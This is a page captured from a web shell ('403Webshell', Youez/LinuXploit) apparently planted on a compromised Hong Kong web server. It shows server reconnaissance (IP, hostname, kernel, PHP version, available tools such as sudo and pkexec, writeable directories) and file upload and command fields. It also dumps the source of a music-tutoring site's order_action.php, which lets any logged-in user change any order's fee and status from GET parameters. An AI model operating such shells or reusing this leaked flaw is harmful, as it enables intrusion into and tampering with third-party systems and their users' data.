403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/m.musiccircle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/m.musiccircle/order_action.php
<?php
	include('_init.php');

	if ($_SESSION["is_student"] != 1 && $_SESSION["is_tutor"] != 1) {
		header("Location: index.php");
		exit;
	}

	$page_settings['domain'] = "order";

	$id     = (int)$_GET["id"];
	$status = $_GET['action'];

	if ($_GET['fee']) {
		$row        = get_order((int)$_GET["id"]);
		$sql        = "update `order` set fee = ?, total_fee = ?,status = ? , lastupdate=?, lastupby=? where id = ?";
		$parameters = array($_GET['fee'], ($_GET['fee'] * $row['course_count']), $status, $nowdate, $_SESSION['cmsloginid'], $id);
	} else {
		$sql        = "update `order` set status = ? , lastupdate=?, lastupby=? where id = ?";
		$parameters = array($status, $nowdate, $_SESSION['cmsloginid'], $id);
	}
	bind_pdo($sql, $parameters);
	send_order_notification($status, $id);

	$order      = get_order($id);
	$student_id = $order["studentmain_id"];
	$tutor_id   = $order["tutormain_id"];
	if ($_SESSION["is_tutor"] == 1) {
		$user = get_student($student_id);

		if ($status == "approved") {
			$notification_body = _lang("學生已經確定你的試堂邀請。");
		} else if ($status == "reject") {
			$notification_body = _lang("學生已經拒絕你的試堂邀請。");
		} else if ($status == "cancel") {
			//$notification_body = _lang("你有1個新留言,請回覆。");
		}
	} else if ($_SESSION["is_student"] == 1) {
		$user = get_tutor($tutor_id);

		if ($status == "approved") {
			$notification_body = _lang("導師已經確定你的試堂邀請。");
		} else if ($status == "reject") {
			$notification_body = _lang("導師已經拒絕你的試堂邀請。");
		} else if ($status == "cancel") {
			//$notification_body = _lang("你有1個新留言,請回覆。");
		}
	}

	if(!empty($notification_body)){
		$cmsloginid = $user["cmsloginid"];
		$notification_title  = "MusicCircle";
		global $site_info;
		$notification_url = $site_info["app_url"]."order_form.php?id=".$id;
		$app_notification_id = create_app_notification($notification_title, $notification_body, "SENT", "chat");
		send_app_notification($app_notification_id, $_SESSION["cmsloginid"], null, $notification_title, $notification_body, $notification_url);
	}

	if ($status == "approved") {
		header("Location: order_form.php?id=" . $id."&click_paypal=1");
	}else{
		header("Location: order_form.php?id=" . $id);
	}

Youez - 2016 - github.com/yon3zu
LinuXploit